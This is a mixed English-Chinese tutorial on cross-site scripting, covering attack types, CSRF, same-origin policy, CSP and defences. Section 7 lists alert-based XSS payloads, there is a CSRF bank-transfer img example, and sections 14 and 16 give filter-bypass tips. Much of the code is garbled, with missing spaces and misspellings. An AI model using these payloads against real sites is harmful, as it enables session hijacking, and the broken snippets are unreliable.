XSS on the Web

1. Introduction to XSS

The full name of XSS is Cross Site Scripting. In order to avoid confusion with the abbreviation of Cascading Style Sheets (CSS), it is abbreviated as XSS. This is a vulnerability that inserts arbitrary Javascript code into other web user pages for execution. Attackers use the browser's dynamic data display function to embed malicious codes in HTML pages. When the user browses and changes the page, these malicious codes hidden in the HTML will be executed, and the user's browser will be controlled by the attacker, so as to achieve the special purpose of the attacker, such as stealing cookies.

2. XSS causes, vulnerability principle

The main reason for the formation of XSS vulnerabilities is that the program’s control of input and output is not strict enough, resulting in the input of a “well-constructed” script, which is parsed and executed by the browser as valid code when it is output to the front end, causing harm.

3. XSS will cause those harm

Attackers send malicious codes through web applications, usually in the form of browser scripts, to different end users. When the user input point of a web program is not checked and encoded, it will easily lead to XSS.

网络钓鱼，包括获取各类用户账号
窃取用户cookies资料，从而获取用户隐私信息，或利用用户身份进一步对网站执行操作；
劫持用户（浏览器）会话，从而执行任意操作，例如非法转账、强制发表日志、电子邮件等
强制弹出广告页面、刷流量等
网页挂马；
进行恶意操作，如任意篡改页面信息、删除文章等
进行大量的客户端攻击，如ddos等
获取客户端信息，如用户的浏览历史、真实p、开放端口等
控制受害者机器向其他网站发起攻击；
结合其他漏洞，如csrf，实施进步危害；
提升用户权限，包括进一步渗透网站
传播跨站脚本蠕虫等

4. XSS defense

The main reason for the formation of XSS vulnerabilities is that the program’s control of input and output is not strict enough, resulting in the input of a “well-constructed” script, which is parsed and executed by the browser as valid code when it is output to the front end, causing harm.
Therefore, in the prevention of XSS vulnerabilities, the methods of "filtering input" and "escaping output" are generally used: input filtering: filtering input, not allowing character input that may cause XSS attacks; output escaping : Properly escape the content output to the front end according to the position of the output point;

5. Common places where XSS occurs

5.1 Where data interacts

get、post、cookies、headers
反馈与浏览
富文本编辑器
各类标签插入和自定义

5.2 Where the data is exported

用户资料
关键词、标签、说明
文件上传

6. Classification of XSS

6.1 Reflected XSS

Also known as non-persistent XSS, this type of attack is often one-time and only triggered when the user clicks. The cross-site code generally exists in the link. When the victim requests such a link, the cross-site code is reflected back by the server. This kind of cross-site code is usually not stored in the server

6.1.1 Common injection points

Website search bar, user login entry, input form and other places are often used to steal client cookies or phishing.

6.1.2 Causes of Vulnerabilities

Generally, the website simply outputs the data input by the user directly or without complete security filtering in the browser, resulting in code data that can be executed by the browser in the output data

6.1.3 Attack methods

Attackers send malicious links containing XSS codes to target users via e-mail or other methods. When the target user visits the link, the server accepts the target user’s request and processes it, and then the server sends the XSS code to the target user’s browser. After the browser parses this malicious script with XSS code, it will Will trigger XSS vulnerability.
Because this type of cross-site code exists in the URL, hackers usually need to send the link containing the malicious code to the user through deception or encrypted deformation. Only after the user clicks can the attack be successfully carried out.

6.1.4 Reflected XSS attack process

攻击者寻找具有漏洞的网站
攻击者给用户发了一个带有恶意字符串的链接
用户点击了该链接
服务器返回HTML文档，此时该文档已经包含了那个恶意字符串
客户端执行了植入的恶意脚本，XSS攻击就发生

6.2 Stored XSS

Stored XSS (Stored xss Attacks), also persistent XSS, is more threatening than reflective XSS. . The attack script will be permanently stored in the database or file of the target server. This is the most convenient cross-site type to use, and the cross-site code is stored on the server side (such as in a database)

6.2.1 Common injection points

Interaction places such as forums, blogs, message boards, website messages, comments, logs, etc.

6.2.2 Causes of Vulnerabilities

Generally, it is because the web application program is not strict with the data input by the user, causing the web application program to save the malicious cross-site attack data information entered by the hacker in the database or other file forms on the server side.

6.2.3 Attack methods

In the process of posting or leaving a message, the attacker injects malicious scripts and normal information into the published content. As the published content is stored by the server, the malicious script will also be permanently stored in the back-end storage of the server. When other users browse this post injected with malicious script, the malicious

6.2.4 Stored XSS attack process

用户提交了一条包含XSS代码的留言到数据库
当目标用户查询留言时，那些留言的内容会从服务器解析之后加载出来
浏览器发现有XSS代码，就当做正常的HTML和JS解析执行

6.3 DOM type XSS

DOM is the abbreviation of Document Object Model. It is an object representation of an HTML document and at the same time an interface between external content (such as JavaScript) and HTML elements. The root node of the parse tree is the "Document" object. DOM (Document object model), using DOM can enable programs and scripts to dynamically access and update the content, structure and style of documents.
It is a vulnerability based on the DoM document object, and DOM-type XSS is based on JS and does not need to interact with the server.
It is an XSS cross-site scripting attack formed by modifying the page DOM node data information. Different from reflective XSS and stored XSS, DOM-based XSS cross-site scripting attacks often need to analyze specific Javascript DOM codes, and use XSS cross-site scripting attacks according to actual conditions.
A DOM-based cross-site, which is a security problem caused by incorrect parsing of the client script itself

6.3.1 Common injection points

Edit the document object through the js script to modify the elements of the page. That is to say, the script program of the client can dynamically modify the content of the page through the DOM, obtain the data in the DOM from the client and execute it locally. Since the DOM modifies the node on the client side, the DOM-based XSS vulnerability does not need to interact with the server side, and it only occurs at the stage when the client side processes data.

6.3.2 Attack methods

A user requests a specially crafted URL, provided by an attacker, that contains XSS code. The server's response will not contain the attacker's script in any form. When the user's browser processes the response, the DOM object will process the XSS code, resulting in an XSS vulnerability.

6.3.3 DOM type XSS attack process

攻击者寻找具有漏洞的网站
攻击者给用户发了一个带有恶意字符串的链接
用户点击了该链接
服务器返回HTML文档，但是该文档此时不包含那个恶意字符串
客户端执行了该HTML文档里的脚本，然后把恶意脚本植入了页面
客服端执行了植入的恶意脚本，XSS攻击就发生了

7. Common tags

7.1 Labels

7.1.1 XSS Exploitation Method 1

<imgsrc=javascript:alert("xss")>

<IMGSRC=javascript:alert(String.formCharCode(88,83,83))>

<imgscr="URL"style='Xss:expression(alert(/xss));'

7.1.2 XSS Exploitation Method 2

<imgsrc="x"onerror=alert(1)>

<imgsrc="1"onerror=eval("alert('xss')")>

7.1.3 XSS Exploitation Method 3

<imgsrc=1onmouseover=alert('xss')>

7.2 Labels

7.2.1 Standard format

<ahref="https://www.baidu.com">baidu</a>

7.2.2 XSS Exploitation Method 1

<ahref="javascript:alert('xss')">aa</a>

<ahref=javascript:eval(alert('xss'))>aa</a>

<ahref="javascript:aaa"onmouseover="alert(/xss/)">aa</a>

7.2.2 XSS Exploitation Method 2

<script>alert('xss')</script>

7.2.3 XSS Exploitation Method 3

<ahref=""onclick=eval(alert('xss'))>aa</a>

7.2.4 XSS Exploitation Mode 4

<ahref=kycg.asp?ttt=1000onmouseover=prompt('xss')y=2016>aa</a>

7.3 Labels

7.3.1 Standard format

<inputname="name"value="">

7.3.2 XSS Exploitation Method 1

<inputvalue=""onclick=alert('xss')type="text">

7.3.2 XSS Exploitation Method 2

<inputname="name"value=""onmouseover=prompt('xss')bad="">

7.3.3 XSS Exploitation Method 3

<inputname="name"value=""><script>alert('xss')</script>

7.4 Labels

7.4.1 XSS Exploitation Method 1

<iframesrc=javascript:alert('xss');height=5width=1000/><iframe>

7.4.2 XSS Exploitation Method 2

<iframesrc="data:text/html,&lt;script&gt;alert('xss')&lt;/script&gt;"></iframe>

7.4.3

<iframesrc="data:text/html;base64,<script>alert('xss')</script>">

7.4.4

<iframesrc="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">

7.4.5 XSS Exploitation Method 3

<iframesrc="aaa"onmouseover=alert('xss')/><iframe>

<iframesrc="javascript&colon;prompt&lpar;xss&rpar;"></iframe>

7.5

7.5.1 XSS Exploitation Method 1

<svgonload=alert(1)>

8. session and cookie

8.1 session

Since the HTTP protocol is a stateless protocol, when the server needs to record the user's status, it needs to use some mechanism to identify the specific user. This mechanism is a typical session
scenario such as a shopping cart. When you click the order button, Since the HTTP protocol is stateless, it does not know which user is operating, so the server needs to create a specific Session for a specific user to identify the user and track the user, so as to know how many copies are in the shopping cart Book.
This Session is saved on the server side and has a unique identifier. There are many ways to save Session on the server side, including memory, database, and files. When clustering, the transfer of Session should also be considered. In large-scale websites, there are usually dedicated Session server clusters to store user sessions. At this time, Session information is stored in memory, and some cache services such as Memcached are used to Put Session.

8.2 cookie

Think about how the server identifies a specific client? This is when Cookie comes into play.
Every time an HTTP request is made, the client will send the corresponding cookie information to the server. In fact, most applications use cookies to implement session tracking. When creating a session for the first time, the server will tell the client in the HTTP protocol that a session ID needs to be recorded in the cookie. ID sent to the server, I know who you are.
Imagine that you have logged in to a website once, and you only need to log in once to browse all the content of this website within a certain period of time. How can this be done? It is also a cookie.
A cookie refers to the data (usually encrypted) that some websites store on the client in order to identify the user. That is to say, as long as there is a user's cookie, you can log in as him
to get the cookie:
browser (client): document.cookie
server (php): $_COOKIE
example

9. Browser analysis method

Language analysis is generally divided into two stages: lexical analysis and syntax analysis. HTML parsing in Webkit is no exception. We mainly focus on lexical analysis here.
The task of lexical analysis is to scan the input byte stream word by word, and identify words and symbols according to word formation rules. It is divided into two classes in WebKit, which are closely related to lexical analysis. They are HTMLToken and HTMLTokenizer classes, which can be simply The HTMLToken class is understood as a token, and the HTMLTokenizer class is understood as a lexer. The task of HTML lexical analysis is to parse the input byte stream into individual tokens (HTMLToken), and then the next step is analyzed by the parser.
In XML/HTML document parsing, the word token is often used. I Understand it as a unit with complete semantics (that is, the separated "word"). An element usually corresponds to 3 tokens, one is the start tag of the element, one is the end tag of the element, and the other is the content of the element , which is different from the DOM tree. On the DOM tree, the start tag and end tag correspond to an element node, and the element content corresponds to another node.
In addition to the start tag (StartTag), end tag (仼drAg) and element content (Character), HTM tags also have types such as DOCTYPE (document type), Comment (comment), Uninitialized (default type) and EndofFile (end of document), see Type enumeration in HTMLToken h.
In HTML, certain characters are reserved. For example, < or > cannot be used in HTML because the browser may mistake them for the start or end of a tag. If you want to display the reserved characters correctly, you need to use the corresponding character entities in HTML. An HTML character entity description is as follows
Character display description Entity name Entity number
< less than sign <<
It should be noted that some characters do not have entity names, but can have entity numbers
HTML lexical analysis: http://www.w3.org/TR/html5/tokenization.html
The specification of HTML is quite loose Yes, so there are many issues to be considered in lexical analysis, and the HTML5 specification has done most of the work for implementers in this regard. Carriage returns and line feeds between similar and

10. CSRF with XSS

CSRF (Cross-site request forgery), Chinese name: cross-site request forgery, also known as: one click attack/session riding, abbreviated as: CSRF/XSRF. CSRF attacks can be understood in this way: the attacker has stolen your identity and sent malicious requests in your name. What CSRF can do includes: sending emails and messages in your name, stealing your account, even buying goods, transferring virtual currency... The problems caused include: personal privacy leakage and property security. If the administrator of the site is attacked by CSRF, the attacker can use the authority of the administrator to complete some operations, such as adding accounts and uploading files, if the relevant request parameters are known. Therefore, in some public systems (such as shopping websites, etc.) and some open source systems, CSRF is more harmful; in closed source systems, pure CSRF is less harmful; but this is also relative, CSRF can be used in conjunction with XSS, resulting in greater damage. Once exploited successfully, CSRF can also enter the background, getshell

10.1 Example 1

As can be seen from the figure above, to complete a CSRF attack
the victim must complete two steps in sequence
1. Log in to the trusted website A and generate a cookie locally.
2. Visit dangerous website B without logging out of A. Seeing this, you might say: "If I don't meet one of the above two conditions, I won't be attacked by CSRF". Yes, it is true,
but you cannot guarantee that the following situations will not happen:
1. You cannot guarantee that after you log in to a website, you will no longer open a tab page and visit another website.
2. You cannot guarantee that after you close the browser, your local cookie will expire immediately, and your last session has ended. (In fact, closing the browser does not necessarily end a session, but some people mistakenly think that closing the browser is equivalent to logging out and ending the session... 3. The so-called attack
website in the above picture may be a vulnerable website with other vulnerabilities. Trusted and frequently visited sites.

10.2 Example 2

Bank website A, which uses GET requests to complete bank transfer operations, such as: http://www.mybank.com/transfer.php?tobankid=1l&money=1000 There is a dangerous website B, which contains a piece of HTML code as follows
<img src=http://www.mybank.com/transferphp? tobankld=11&moneY=1000>
First of all, you log in to the bank website A, and then visit the dangerous website B, oh, then you will find that your bank account is less than 1000 yuan, why is this happening?
The reason is that bank website A violates the HTTP specification and uses GET requests to update resources. Before visiting the dangerous website B, you have already logged in to the bank website A, and B requests third-party resources in the form of GET (the third party here refers to the bank website, originally this is a legal request, but here Criminals have used it), so your browser will send a GET request with the cookie of your bank website A to obtain the resource "http://www.mybank.com/transfer.pHp?tobankid=11&money=1000", As a result, after the bank website server received the request, it thought it was an update resource operation (transfer operation), so it immediately performed the transfer operation...

11. Domain, same origin

11.1 Homologous

In 1995, the Same Origin Policy was introduced to browsers by Netscape. Currently, all browsers enforce this policy. Initially, it means that the Cookies set by A webpage, B webpage cannot be opened, unless the two webpages have "same origin". The so-called "same origin"
refers to "three identical":
same protocol, same
domain name, same
port, same
look The purpose of the same-origin


policy is to ensure the security of user information and prevent malicious websites from stealing data.
Imagine such a situation: A website is a bank, and after the user logs in, he browses other websites. What would happen if other websites could read website A's cookies?
Obviously, if the cookie contains privacy (such as the total amount of the deposit), this information will be leaked. What's even more frightening is that cookies are often used to save the user's login status. If the user does not log out, other websites can pretend to be the user and do whatever they want. Because the browser also stipulates that submitting forms is not restricted by the same-origin policy.
It can be seen that the "same origin policy" is necessary, otherwise cookies can be shared, and the Internet will not be safe at all.
With the development of the Internet, the "same origin policy" has become more and more strict. Currently, there are three behaviors that are restricted if non-homologous.
(1) Cookie, LocalStorage and IndexDB cannot be read. (2) The DOM cannot be obtained. (3) AJAX requests cannot be sent.
Of course, these conditions are relative. In some special cases, we can also complete the data transfer between non-same-origin pages through the sharing mechanism allowed by the same-origin policy.

11.2 Cross domain

The so-called cross-domain, or heterogeneous, means that as long as one of the host name (domain name), protocol, and port number is different, it is a different domain (or source). There is a basic policy in the browser, called the same-origin policy, which restricts scripts "sourced" from A to only operate the DOM of the "same-origin" page. In browsers, tags such as <script>//<iframe>/ can load resources across domains without being affected by the same-origin policy. Every time a tag with the "src' attribute is loaded, it is actually a "GET" request initiated by the browser.
For XMLHttpRequest, it can access content from objects of the same origin. But it cannot access resources across domains. He needs Whether cross-domain access is allowed through the HTTP header authorization returned by the target domain, because HTTP headers are generally uncontrollable for javascript, so this solution is considered feasible. For browsers:
except DOM, Cookie, XMLTttpRequest will be subject to the same In addition to the restrictions of the source policy, the third-party plug-ins loaded by the browser also have their own same-origin policies.For example: flash, java applet, silverlight, coogle gears, etc.

11.2.1 Cross-domain methods

11.2.2 JSONP

JSONP cross-domain

11.2.3 JSONP hijacking

(1) The user registers and logs in on website B, which contains the user's d, name, email, etc.
(2) The user sends a URL request to website A through the browser
(3) Website A returns a response page to the user, and the response page The callback function of JavaScript and the script tag requested to website B are registered in . The sample code is as follows` (


4) The user receives the response, parses the JS code, and sends a request to website B with the callback function as a parameter; (5) Website B receives After receiving the request, parse the URL of the request, generate the data required by the request in SON format, and return the encapsulated JSON data containing user information to the browser as a parameter of the callback function. The data instance returned by website B is as follows: Callback(){id ": l, "name": test", "email": testtest com"}) (6) After the data from website B is returned, the browser will automatically execute the Callback function to process the JSON format data returned in step 4. The window shows the user's registration information on website B. In addition, the JSON data can also be returned to the server of website A, so that website A can obtain the information registered by the user on website B by using the JSONP vulnerability of website B.

12. CSP

The full name of CSP is Content Security Policy, that is, Content Security Policy . Mainly configure trusted content sources in the form of a whitelist. In web pages, the content in the whitelist can be executed normally (including JS, CSS, Image, etc.), while the content in the non-whitelist cannot be executed normally, thereby reducing cross- Website scripting attacks (XSS), of course, can also mitigate content injection attacks for operator hijacking.
To enable CSP, you need to configure your web server to return the Content-Security-Policy HTTP header (sometimes you will see some reference to the X-Content-Security-Policy header, that is an old version, you don't need to specify it as such)
elements can also be used to configure the policy, for example

CSP aims to reduce (note that this is to reduce rather than eliminate) cross-site scripting attacks. CSP is a security policy statement defined by the developer, specifying trusted content sources through the regulations constrained by CSP (the content here can refer to scripts, pictures, iframes, fonts, styles, etc. resource). Through the CSP agreement, let the WEB be in a relatively safe operating environment.
Whether it is reflective/storage XSS, it is difficult to completely eradicate it because its payload is rich in changes.
At present, through the detection of input and output, the browser's own filter has a certain ability to detect reflective XSS, but there is still a lack of an effective general solution for stored XSS.
Content Security Policy (csp) will play an increasingly important role in future XSS defenses. However, due to the support of browsers and the complex and changeable environment of XSS, there are still many Bypass methods.

13. XS- Leaks

Cross-site scripting leaks (Cross-Stie Leaks, also known as XS-Leaks/ XSLeaks) are a type of vulnerability derived from the built-in side channel of the Web platform. The principle is to use this side channel on the network to reveal sensitive information of the user, such as the user's data in other network applications, the user's local environment information, or the internal network information the user is connected to.
Browsers provide a variety of features to support interaction between different web applications; for example, browsers allow a website to load subresources, navigate, or send messages to another application. Although these behaviors are usually restricted by the security mechanism of the network platform (such as the same-origin policy), XS-Leaks uses various behaviors during the interaction process between websites to leak user information.
Since it is a side channel, where does this channel come from? Generally speaking, this channel needs to be combined with various functions set by the topic or certain features of the browser, and often these functions or features only have two answers to the user's return, which is similar to the Boolean blind attack in SQL injection. But he put it in browsers and Web applications. To give a simple example, there is such a search function. If the content the user searches for exists, it will return a 200 code, otherwise it will return other non-200 status code responses. We can judge the status codes we passed through the status codes returned by the web service from the beginning. Whether it is correct and then leak the content in the Web service, so we can also use events such as onload to further automate the leak. As another small example, if SameSite is not set correctly, if there are some web applications that return 403 for users who are not logged in and 200 for login status, you can use some cross-domain tags, such as scripts, to judge users according to these two states Are you logged in.
XS-Leaks does not mean that it can directly cause any hugely harmful loopholes. It focuses more on Leak and information leakage. And the root cause of most XS-Leaks is the problem of network design. In many cases, web services are vulnerable to some information leakage without loopholes. However, it is extremely difficult to fix XS-Leaks at the browser level, because in many cases, many existing web services will be affected, which will cause a huge impact on the original web services. Therefore, to defend against this type of vulnerability, it is usually necessary to use various strict same-origin restrictions to achieve the desired effect.

14. XSS encoding bypass

js编码
HTML实体编码
URL编码
String.fromCharCode编码

Online xss transcoding: https://www.toolmao.com/xsstranser

14.1 JavaScript coding

JS provides four character encoding strategies,
three octal digits, if the digits are not enough, add zeros in front, such as the encoding of a is \141
two hexadecimal digits, if the digits are not enough, pad zeros in front, such as a The encoding is \x61
four hexadecimal digits, if the number is not enough, fill in the front with zeros, such as the encoding of a is \u0061
For some control characters, use special C-type escape styles, such as \n and \r

14.2 HTML Entity Encoding

14.2.1 Named entities

Start with & and end with a semicolon, such as < is coded as &1t;

14.2.2 Character Encoding

Decimal, hexadecimal ASCII or Unicode character encoding. The style is &## value;
such as the encoding of < is
<(decimal)
<(hexadecimal)

14.3 URL encoding

Here is the full url encoding, that is,
the full url encoding of the two url encodings such as alert is %25%36%31%25%36%63%25%36%35%25%37%32%25%37%34

14.4 String.fromCharCode encoding

For example, the encoding of alert is String.fromCharCode(97,108,101,114,116)

15. XSS defense

15.1 Using XSS Filters

15.1.1 Input filtering

15.1.1.2 Input Validation

Effectively verify the data submitted by users, only accept content submissions within the specified length range and in an appropriate format, and block or ignore any other data other than this.

15.1.1.3 Common Detection or Filtering

Whether the input contains only legal characters
Whether the input string exceeds the maximum length limit
If the input is a number, whether the number is within the specified range
Whether the input meets the specific format requirements, such as email address, phone number, ip address, etc.

15.1.2 Data Sanitization

In addition to verifying the legality of data on the client side, the most important thing in input filtering is to filter and purify harmful input, such as the following common sensitive characters: ||<> ' " javascript
expression

15.1.2.1 Output encoding

Encoding the output data, such as HTML encoding, is to make potentially harmful information harmless.
Whitelist and Blacklist

15.2 Custom filtering strategy

15.3 Web Secure Coding Specifications

15.4 Defense against DOM-Based XSS

15.4.1 Two points to note:

1. Avoid client-side document rewriting, redirection, or other sensitive operations, and avoid using client-side data. These operations should be implemented using dynamic pages on the server side as much as possible.
2. Analyze and harden client-side Javascript code, especially some affected Dom objects
   

15.5 Other defense methods

15.5.1 Anti_XSS

Developed by Microsoft, under the .Net platform, it is a class library for XSS attacks. It provides a large number of encoding functions to encode the data input by users, and can implement whitelist-based input filtering and output encoding.

15.5.2 HttpOnly Cookie

When the Cookie is set to HttpOnly in the message header, the browser that supports Cookie will prevent the client-side Javascript from directly accessing the cookies in the browser, so as to protect sensitive data.

15.5.3 Noscript

Noscript is a free open source plug-in, which prohibits all scripts by default, but you can customize the scripts that are allowed to pass.

15.5.4 WAF

Use WAF, such as soft WAF, hard WAF, cloud WAF, etc.

16. XSS summary and expansion

(1) When the input is between tags: test whether <> is filtered or escaped, if not, directly <mgsc=1 οnerrοr=alert(1)> (2)
Input in the script tag: we need to ensure that the internal JS On the premise that the grammar is correct, insert our payload. If our output is inside a string, test if the string can be closed. If we can't close the quotation marks that wrap the string, this point is difficult to take advantage of
possible solutions: two inputs can be controlled and \ is available, and there are wide bytes
(3) input in HTML attributes: first check whether the attributes have If there is no double quotes package, add new event attributes directly;
if there are double quotes wrapped, test whether the double quotes are available, if available, add new event attributes after the closing attribute;
TIP: HTML attribute, if it is encoded by HTML entity (form Such as ' '), then HTML will automatically decode it, so that we can introduce any character in the form of HTML entity encoding in the attribute, so that we can construct the payload in the form of JS in the event attribute.
(4) Output in JS, spaces are filtered: use /**/ instead of spaces.
(5) The output is in the JS comment: try to insert a newline character %0A so that it escapes.
(6) Input in the JS string: JS hexadecimal, octal, and unicode encoding can be used.
(7) Input in attributes such as src/href/action: you can use javascript:alert(1), and data:text/html;base64; plus base64-encoded HTML (8) The posture of the iframe's own bullet box under
Chrome
<iframe src=data text/html, "> (9) The tag k/textarea
with its own HtmlEncode (escaping) function of the pit point

When our XSS payload is in the middle of these tags, it won't parse unless we close them.